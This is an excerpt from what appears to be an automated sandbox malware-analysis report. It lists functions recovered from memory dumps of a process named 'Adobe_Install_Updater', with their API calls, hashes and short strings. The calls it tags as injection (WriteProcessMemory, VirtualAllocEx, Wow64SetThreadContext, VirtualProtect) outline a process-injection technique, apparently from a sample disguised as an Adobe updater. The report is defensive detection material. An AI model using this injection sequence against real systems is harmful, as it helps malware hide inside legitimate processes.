API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 4b7d13e9e9fd4015534397c6476a6b1bece218762a29457e0d0e8b318a5e9815
Instruction ID: 9023689344e3d84d774c0ee27186b06d44f3fbdc93e009089eb16415df323651
Opcode Fuzzy Hash: 4b7d13e9e9fd4015534397c6476a6b1bece218762a29457e0d0e8b318a5e9815
Instruction Fuzzy Hash: A68158B1D1024D9FDB10CFA9C9897EEBBF2BF48310F148129E819A7294D7749885CF85

Function 05270D40 Relevance: 1.6, APIs: 1, Instructions: 75injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05270DD8

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4bd45824df4f8ee2b0e69da5c30df6a7ad125e33b74bf9c08c1c0ccff5178e02
Instruction ID: 789d7d53d32249ccc80df1bfc8fa175d2bc835f4ac00800d3dbe74ec8c2e03e6
Opcode Fuzzy Hash: 4bd45824df4f8ee2b0e69da5c30df6a7ad125e33b74bf9c08c1c0ccff5178e02
Instruction Fuzzy Hash: CC2139B59103499FCB10DFAAC945BEEBBF5FF48310F108429E519A7250C7789545CFA4

Function 05270D48 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 05270DD8

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: dfb85a3072787d06bc87ee361893320132e39d7cc06ca63cdc902c00fe4ec681
Instruction ID: d02aac9a4a519b3815e479caa386e51959ba6b0960cb21f3033dda9cf444162e
Opcode Fuzzy Hash: dfb85a3072787d06bc87ee361893320132e39d7cc06ca63cdc902c00fe4ec681
Instruction Fuzzy Hash: A1212AB59003499FCB10DFAAC945BDEBBF5FF48310F108429E519A7250C778A944CFA4

Function 05270822 Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 052708A6

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 29eefe9bd09c53701e6e91195c3754c4b306dd102b9aad49b264820f14c03542
Instruction ID: d34e306ec255422adfa007fdbb2470763bb3f37180f1b94f2b2e686de477c31d
Opcode Fuzzy Hash: 29eefe9bd09c53701e6e91195c3754c4b306dd102b9aad49b264820f14c03542
Instruction Fuzzy Hash: 61213971D102098FDB10DFAAC585BEEBBF5EF88310F148429D419A7240CB789948CFA4

Function 05270828 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 052708A6

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: a9e6ea935fe52b297b70a68520a26c204e2b8b9ce65318b4b569cc7b27d3e884
Instruction ID: 7a57f05d8bce1fbdbc12fd84031cce60008508b37a7b0dbce787d5cdc80254fa
Opcode Fuzzy Hash: a9e6ea935fe52b297b70a68520a26c204e2b8b9ce65318b4b569cc7b27d3e884
Instruction Fuzzy Hash: DB2118B1D103098FDB10DFAAC5857EEBBF5EF48310F148429D559A7240DB789944CFA4

Function 05271132 Relevance: 1.6, APIs: 1, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 052711AC

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 2c5c66f4f42953164dc141e2b033c0d6c82419b9b24baee28ccc98ffabc89598
Instruction ID: e88f8eb9522d9b56da09c9395a502a8dc426c553ecec43e211f28f4bbac97093
Opcode Fuzzy Hash: 2c5c66f4f42953164dc141e2b033c0d6c82419b9b24baee28ccc98ffabc89598
Instruction Fuzzy Hash: 702107719002498EDB20DFAAC945BEEBBF5EF48310F108429D419A7250CB789544DFA5

Function 05271138 Relevance: 1.6, APIs: 1, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 052711AC

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 1032615b0598aa88bac6ccea1189a6fd38e5e152e55aded3d474f8169434824e
Instruction ID: 8651bd8e08365f9ee96bbafbde01fb5fa3c2a94c89db8e8fef87205564b85e54
Opcode Fuzzy Hash: 1032615b0598aa88bac6ccea1189a6fd38e5e152e55aded3d474f8169434824e
Instruction Fuzzy Hash: AE2115B1D002498FDB10DFAAC844AEEBBF5EF48320F108429D519A7250CB789944CFA4

Function 05270C40 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05270CB6

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 951f72cb99a5451241ab469f3ee098c4758ea588c59037b7fc25463c8282fb69
Instruction ID: 86214d1aba22ca1c7f7fedaaf7a633cdaecdf34695244127fd3066de190cd635
Opcode Fuzzy Hash: 951f72cb99a5451241ab469f3ee098c4758ea588c59037b7fc25463c8282fb69
Instruction Fuzzy Hash: 4A1159B68002499FCB10DFA9C945BEFBBF5EF48310F108819D519A7250C7399545CFA0

Function 060FDAB0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 060FDB24

Memory Dump Source

Source File: 0000000C.00000002.2425549134.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_60f0000_Adobe_Install_Updater.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 17c3f21e3c52f7fe13904045e3ea709de5ed10ff7a87748f9e620abcd82d039e
Instruction ID: db232aec283bbf7ef6ec7a023a0661486b6a374e503321487145d2b0885c88a9
Opcode Fuzzy Hash: 17c3f21e3c52f7fe13904045e3ea709de5ed10ff7a87748f9e620abcd82d039e
Instruction Fuzzy Hash: 4B11F4B1D002499FDB10DFAAC944AAEFBF5FF48320F10842AD519A7250C779A944CFA4

Function 05270C48 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNEL32(?,?,?,?,?), ref: 05270CB6

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f5b3fec5ca21f1a5764ea660f701719b573a9be1dc6dc44e4811cf1a156ed71e
Instruction ID: ad307e6ae0114932130e2e817fc5445c9647fffcccf634c1075f036268658c57
Opcode Fuzzy Hash: f5b3fec5ca21f1a5764ea660f701719b573a9be1dc6dc44e4811cf1a156ed71e
Instruction Fuzzy Hash: 0C1119729002499FDB10DFAAC945AEFBFF5FF48320F148419E519A7250C779A544CFA4

Function 05EE68D0 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

Pljq, xrefs: 05EE6AB8

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: Pljq
API String ID: 0-328474749
Opcode ID: 8199f04cd2968b03dc55e8b3f1eeb4ee738fea44115b2bddda6e262e2f2f12e1
Instruction ID: ea6cd0671e7bfe6e165cea9e47e262d9a7ebb136149ccbfd7f05cf728e4247b3
Opcode Fuzzy Hash: 8199f04cd2968b03dc55e8b3f1eeb4ee738fea44115b2bddda6e262e2f2f12e1
Instruction Fuzzy Hash: 07911230B502148FDB14DF28D894AAE7BF6BF89314B2140A9E406CB3B5DB75EC41CBA1

Function 05EEAE88 Relevance: 1.5, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEB0B2

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 22507de7395dae7094f1e07ec55cd872b9004e78d5d36cbd7d56d4c24d5caf55
Instruction ID: 211eab63164b43cc81093bfdfdd626f89acb086cef9932068ba6f8a62555707e
Opcode Fuzzy Hash: 22507de7395dae7094f1e07ec55cd872b9004e78d5d36cbd7d56d4c24d5caf55
Instruction Fuzzy Hash: 19A1FA34B20218DFCB04DFA4D998A9DBBB2FF89301F559169E446AB364DB70EC42CB41

Function 05EEE690 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEE7B2

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 34910b01e61878a6935ab1c1d2ad188c9cb1b492d6a387ee666a08f16c47efe2
Instruction ID: 664e4b867b389a42d1a97e3f475d1601af6eb79fa184e506088778031aff570e
Opcode Fuzzy Hash: 34910b01e61878a6935ab1c1d2ad188c9cb1b492d6a387ee666a08f16c47efe2
Instruction Fuzzy Hash: C7718D31B502149FDB04DB68D995BAE7BF6BF88300F208468E546AB3A4DF75DC42CB94

Function 05EE1C90 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

(nq, xrefs: 05EE1D04

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq
API String ID: 0-2756854522
Opcode ID: cdbdc7e1b8dee74ed03265e72ff15391a0d678d752452e1fd85e46d0ccf99691
Instruction ID: 2eeeaa65ea6b14f0c366a9eecddc8f6986c7e67bbe9b44e24365d9499dd3f20c
Opcode Fuzzy Hash: cdbdc7e1b8dee74ed03265e72ff15391a0d678d752452e1fd85e46d0ccf99691
Instruction Fuzzy Hash: 00512331A00A168FCB04CF58C484A6AFBB1FF89325B5592A6E955EB341D730FD92CBD0

Function 05EE2B70 Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

,nq, xrefs: 05EE2BD3

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: ,nq
API String ID: 0-1069744364
Opcode ID: a0bb423444d82c4fc0ee35f627d4079f377f785ac52f48450ec540e037b8ab68
Instruction ID: a927e2efb189981cccabac8fa61ce15f0092053d8db10ca3da08cdf34240c553
Opcode Fuzzy Hash: a0bb423444d82c4fc0ee35f627d4079f377f785ac52f48450ec540e037b8ab68
Instruction Fuzzy Hash: 37516D357001158FCB14DF69D994AAEBBE6FF88310F15816AEA06DB365DB31EC01CB91

Function 05EE0CD0 Relevance: 1.4, Strings: 1, Instructions: 152COMMON

Download Yara Rule

Strings

pnq, xrefs: 05EE0D80

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: pnq
API String ID: 0-1150273632
Opcode ID: dc3d38dd05d0cedae098e8cf4beabf3b96fb933fe1dbd9dc978c603d66f04e81
Instruction ID: 5b8197ae7e4d7cada5c7292026f134e6fda5ba4a23feae812073d39b4e262eab
Opcode Fuzzy Hash: dc3d38dd05d0cedae098e8cf4beabf3b96fb933fe1dbd9dc978c603d66f04e81
Instruction Fuzzy Hash: C7516A76600104AFCB459FA8C904D6A7FF7FF8D31471A8098E2099B276DA32DC22EB51

Function 05EEEB38 Relevance: 1.4, Strings: 1, Instructions: 145COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEEB82

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 3ddf523f0665b82186263dafb475928901c5c89227dd983806819a2c689dda47
Instruction ID: ba93e47a8a83006b23262ab09173239592094c46a192c1ce9e5e1cc80ea10d7b
Opcode Fuzzy Hash: 3ddf523f0665b82186263dafb475928901c5c89227dd983806819a2c689dda47
Instruction Fuzzy Hash: ED41B330B206148FCB04AB68D899AADB7BBBFC9700F10552DD486AB394DF749C468B91

Function 0093E4D0 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

TJoq, xrefs: 0093E562

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: TJoq
API String ID: 0-3712055613
Opcode ID: d915368fffd1ec640b99396be2eb0c7706e5b68af936f31a2590c00323b05e22
Instruction ID: aba35f3e44c7ad93e1a297de5feb51871f9601cd5a904accee13095d231a02e9
Opcode Fuzzy Hash: d915368fffd1ec640b99396be2eb0c7706e5b68af936f31a2590c00323b05e22
Instruction Fuzzy Hash: F951E1B4D04208DFDF04DFA9D449AADBBB6FF49305F20846AE415A33A0EB349945CF50

Function 05EEE540 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEE5F7

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 36a946e77438287eabf0e51c80e9d27a55ec7272643f56c06f0b61e61f0fa08b
Instruction ID: 4862503c9a91eca10883abf3339d0dc6d639d6670e832af29083b6841f52bd83
Opcode Fuzzy Hash: 36a946e77438287eabf0e51c80e9d27a55ec7272643f56c06f0b61e61f0fa08b
Instruction Fuzzy Hash: 8C316B717406109FD3089B29C999F2A7BEAAFC8704F204968E54ACB3A5DE75EC42C794

Function 05EEE550 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEE5F7

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 3b51f3e12c76c93ca1cde093b810ad49cf1f7ed2e1caab07bb6fffdd493baee6
Instruction ID: 641cdd0870e46257e26906effd3095802b8b0bcd63c75c1d4d821c85d90f5a80
Opcode Fuzzy Hash: 3b51f3e12c76c93ca1cde093b810ad49cf1f7ed2e1caab07bb6fffdd493baee6
Instruction Fuzzy Hash: FF316D713406109FD308DB29C999F2A7BEAAFCC704F104568E54A8B3A5DE75EC42C794

Function 05EEA309 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05EEA351

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 49666a04f8c266e74bc13d039eadfb4c029981b8ef0ce1bc4d569e91fd311efa
Instruction ID: c700bbacc311efbddc43aa2b3aede7dd556afb5339268b8f009c6048ea56c837
Opcode Fuzzy Hash: 49666a04f8c266e74bc13d039eadfb4c029981b8ef0ce1bc4d569e91fd311efa
Instruction Fuzzy Hash: 3231D2366101049FCF089F94D995E9DBFB7FF8C315B1544A8E9469B3A1DA31DC02CB51

Function 05EE54B0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

p<jq, xrefs: 05EE54FA

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: p<jq
API String ID: 0-3743064563
Opcode ID: 8cb43cd42fe428e624fd57c9f71724c937c7e88d7b0d49711686be85cfca27e5
Instruction ID: 7eed2b7dc1d44234cd82aff40add2942d533cb1ad28623285c9d56518e76e9e5
Opcode Fuzzy Hash: 8cb43cd42fe428e624fd57c9f71724c937c7e88d7b0d49711686be85cfca27e5
Instruction Fuzzy Hash: 13217C713041949FDB11CE2EC840EAA7BEAFF4A219F1850A6F886CB361CA75DC51CB20

Function 00930928 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Tejq, xrefs: 009309A0

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: 2475af9e44355df13f8466827709846d8845deaf19d99f91971cc642fae8a734
Instruction ID: 713d9f4d97deb6b8e8a2b7731ead60967b07bb754c674da24da5efa44bd154e2
Opcode Fuzzy Hash: 2475af9e44355df13f8466827709846d8845deaf19d99f91971cc642fae8a734
Instruction Fuzzy Hash: C2313C30A002099FCB14DF69D599B9EBBF6BF89710F244469E405EB3A1CB759D05CF50

Function 05E90D7C Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05E91549

Memory Dump Source

Source File: 0000000C.00000002.2423680259.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5e90000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq
API String ID: 0-3676250632
Opcode ID: 5a537e9fa661b74b92a2bd0081782870348b368b93b65a3950854c9bcf8298b6
Instruction ID: 3675828ed23fa4d69f0389b12136af5ff44cfbcfecc9fa2c2333a25f5e68a8c2
Opcode Fuzzy Hash: 5a537e9fa661b74b92a2bd0081782870348b368b93b65a3950854c9bcf8298b6
Instruction Fuzzy Hash: B0212774E04209CBDF1CDFA9D4486FEBBB2FB84315F41906AD592A7291D7349A81CF81

Function 05EE2B61 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

,nq, xrefs: 05EE2BD3

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: ,nq
API String ID: 0-1069744364
Opcode ID: b669c881686037e869eafe1523c240231f98ca022888b95c772ecf6e250d025c
Instruction ID: a89fb8f586cc93f0a8d7237d1882c1c58c8c3d3ebcafd5cd92407945f2c36154
Opcode Fuzzy Hash: b669c881686037e869eafe1523c240231f98ca022888b95c772ecf6e250d025c
Instruction Fuzzy Hash: A3118B35B001059FCB04DFA9C994A6FBBBAEF85310F108065EA41EB365DB31EC01CB90

Function 05EE79FF Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

l, xrefs: 05EE7A1A

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: l
API String ID: 0-2517025534
Opcode ID: 6cb4a1d5ad52e014c3a0d1a93f96475329d102b1dcb0af4f7843a0c73eb9acc1
Instruction ID: a9076a8e8aeb0681b4deea16b6ba5a9db44f00c6e6d294b47647e8707574a1f9
Opcode Fuzzy Hash: 6cb4a1d5ad52e014c3a0d1a93f96475329d102b1dcb0af4f7843a0c73eb9acc1
Instruction Fuzzy Hash: C6118EB6E04118EFCB05CF98D8859DEBBF8EF48210F058166E945E7350E634E906CBA0

Function 060FEB28 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 060FEB93

Memory Dump Source

Source File: 0000000C.00000002.2425549134.00000000060F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_60f0000_Adobe_Install_Updater.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d20f86abd145ce9f5fe1f5b1005be0deb00a5a4852f983b4c44b9643443e8dda
Instruction ID: 7533e2ccbefb1f1b0442261ebdffbf74df83fd91b58397467f675459a4b51af6
Opcode Fuzzy Hash: d20f86abd145ce9f5fe1f5b1005be0deb00a5a4852f983b4c44b9643443e8dda
Instruction Fuzzy Hash: A91104759002499FDB10DFAAC845AEFBFF5EF88320F148819D519A7260CB79A544CFA4

Function 06365C58 Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

f, xrefs: 06365C70

Memory Dump Source

Source File: 0000000C.00000002.2425725787.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6360000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 74f66cac86d88d928b1c0633f2756f3b618cf0fa844b9641de8102355c41a42c
Instruction ID: 8809e6b9ce609ef05280ac6b44f57bfea2a2ec50b5ff23c708d291eab158a59f
Opcode Fuzzy Hash: 74f66cac86d88d928b1c0633f2756f3b618cf0fa844b9641de8102355c41a42c
Instruction Fuzzy Hash: C611D678A442288FDB64DF18D885ADABBB2FB48304F0082E5E409A7345CB319E85CF81

Function 00930A97 Relevance: 1.3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

Strings

hkq, xrefs: 00930B0A

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: hkq
API String ID: 0-3598564563
Opcode ID: 94c92d269f772dff42ebe64625186757e9be9b546f19040b2c70f7aa0d0d773e
Instruction ID: 6a32f9cb50683cc16658fbf87602e8486f70f3c29f1a06adc0c16cceb6f119f6
Opcode Fuzzy Hash: 94c92d269f772dff42ebe64625186757e9be9b546f19040b2c70f7aa0d0d773e
Instruction Fuzzy Hash: 4A018F32D10A4A9BCB00DBA5DC44ADEBBB6FFC6310F614616E100B7164EB70264ACB91

Function 00930AA8 Relevance: 1.3, Strings: 1, Instructions: 38COMMON

Download Yara Rule

Strings

hkq, xrefs: 00930B0A

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: hkq
API String ID: 0-3598564563
Opcode ID: 99156bb04556bb1b77cd9b99febf2ff93697773d17238826f8ccf5070b9545f9
Instruction ID: e823ef574900b219b05dfcd20a62450b44983eb73355e877077c1e3b5f829cce
Opcode Fuzzy Hash: 99156bb04556bb1b77cd9b99febf2ff93697773d17238826f8ccf5070b9545f9
Instruction Fuzzy Hash: D7F0A432D10A0F96CB00DBA9DC448DEB7B6FFC6310F114712E10077164EB70254ACB91

Function 063623E8 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

c, xrefs: 0636244B

Memory Dump Source

Source File: 0000000C.00000002.2425725787.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6360000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: c
API String ID: 0-112844655
Opcode ID: be8fe698ec02cc435cc51a0e7c4688f54dcfafb81ea17737a3bca4caeb122651
Instruction ID: 4a3a0c6fa1b3fc268f35eb21d095445283ec224c1a08f784cf8256a6a5ca78d4
Opcode Fuzzy Hash: be8fe698ec02cc435cc51a0e7c4688f54dcfafb81ea17737a3bca4caeb122651
Instruction Fuzzy Hash: DD1113B8900129CFCB6AEF58CC95ADAB7B5FB08306F0482E5E518A7744CB359E85CF41

Function 06363892 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

', xrefs: 063638DC

Memory Dump Source

Source File: 0000000C.00000002.2425725787.0000000006360000.00000040.00000800.00020000.00000000.sdmp, Offset: 06360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6360000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: '
API String ID: 0-1997036262
Opcode ID: 33ed4efe1414b9717c79886aab6f36f629d86fd3d908f07545051ed98c11a380
Instruction ID: 44555ea60efb7197450d0c8330291dfdb87c9c40b3cc71a7dd392689c470508d
Opcode Fuzzy Hash: 33ed4efe1414b9717c79886aab6f36f629d86fd3d908f07545051ed98c11a380
Instruction Fuzzy Hash: 170128B4D04619CFCBA89F65D995BADBAF1EB49305F0090E8E01AA6644CA345EC5CF01

Function 05EF87C9 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

1, xrefs: 05EF87EC

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 1
API String ID: 0-2212294583
Opcode ID: d399e93780fd82db54e2cf1e0f36a96b611bd88e02037dca420df8355b804ec0
Instruction ID: ae2269f5b2467c49555e7b407bdddf13ea324e4e84fca3fe3baa4114525f4ea3
Opcode Fuzzy Hash: d399e93780fd82db54e2cf1e0f36a96b611bd88e02037dca420df8355b804ec0
Instruction Fuzzy Hash: C6F0D434916269CFEB24DF25D848B9CBBB6BB45305F1080E5E489A3250DB705B94CF01

Function 05EF2F42 Relevance: 1.3, Strings: 1, Instructions: 10COMMON

Download Yara Rule

Strings

], xrefs: 05EF2F6B

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

